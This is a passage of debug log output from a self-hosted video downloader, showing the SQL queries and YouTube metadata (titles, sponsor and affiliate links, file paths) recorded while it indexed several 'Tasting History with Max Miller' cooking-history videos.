((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4967] 02:51:20.345 [debug] Current batch of media processed. Will check again in 1000ms 02:51:21.346 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "filename" => "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", "id" => "MgswDy8PMAA", "original_url" => "https://www.youtube.com/watch?v=MgswDy8PMAA", "playlist_index" => 17, "title" => "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "upload_date" => "20251209"} 02:51:21.347 [debug] QUERY OK source="sources" db=0.3ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:21.347 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:21.349 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 00:00:00Z], 3] 02:51:21.352 [debug] QUERY OK source="media_items" db=2.6ms idle=1003.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "3a8d070c-9271-4a6a-9b55-ce727abb6750", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", false, false, 17, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", false, false, 3, [], 98, ~U[2025-12-09 00:00:00Z], ~U[2026-03-29 06:51:21Z], ~U[2026-03-29 06:51:21Z], "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", nil, false, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", false, 3, ~U[2025-12-09 00:00:00Z]] 02:51:21.352 [debug] QUERY OK source="sources" db=0.1ms idle=643.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:21.353 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:21.353 [debug] QUERY OK source="media_items" db=0.2ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4489] 02:51:21.353 [debug] Current batch of media processed. Will check again in 1000ms 02:51:22.354 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", "id" => "7Z8MvxYovpk", "original_url" => "https://www.youtube.com/watch?v=7Z8MvxYovpk", "playlist_index" => 18, "title" => "Making Real English Toffee from 1881", "upload_date" => "20251205"} 02:51:22.355 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:22.355 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:22.357 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 00:00:00Z], 3] 02:51:22.358 [debug] QUERY OK source="media_items" db=1.2ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "57bcdd9e-da2d-4e23-8708-e61c6caddaf4", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", false, false, 18, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", false, false, 3, [], 98, ~U[2025-12-05 00:00:00Z], ~U[2026-03-29 06:51:22Z], ~U[2026-03-29 06:51:22Z], "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", nil, false, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", false, 3, ~U[2025-12-05 00:00:00Z]] 02:51:22.359 [debug] QUERY OK source="sources" db=0.1ms idle=648.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:22.359 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:22.359 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4213] 02:51:22.360 [debug] Current batch of media processed. Will check again in 1000ms 02:51:23.360 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", "id" => "vuoThloIEhs", "original_url" => "https://www.youtube.com/watch?v=vuoThloIEhs", "playlist_index" => 19, "title" => "Gingerbread for Washington's Army", "upload_date" => "20251202"} 02:51:23.361 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:23.361 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.363 [debug] QUERY OK source="media_items" db=1.5ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 00:00:00Z], 3] 02:51:23.365 [debug] QUERY OK source="media_items" db=1.2ms idle=1004.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Gingerbread for Washington's Army", "59a63944-1ed7-4762-a26e-6d60f824d3cd", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", false, false, 19, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", false, false, 3, [], 98, ~U[2025-12-02 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Gingerbread for Washington's Army", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", nil, false, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", false, 3, ~U[2025-12-02 00:00:00Z]] 02:51:23.366 [debug] QUERY OK source="sources" db=0.2ms idle=653.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.366 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:23.367 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4007] 02:51:23.367 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► 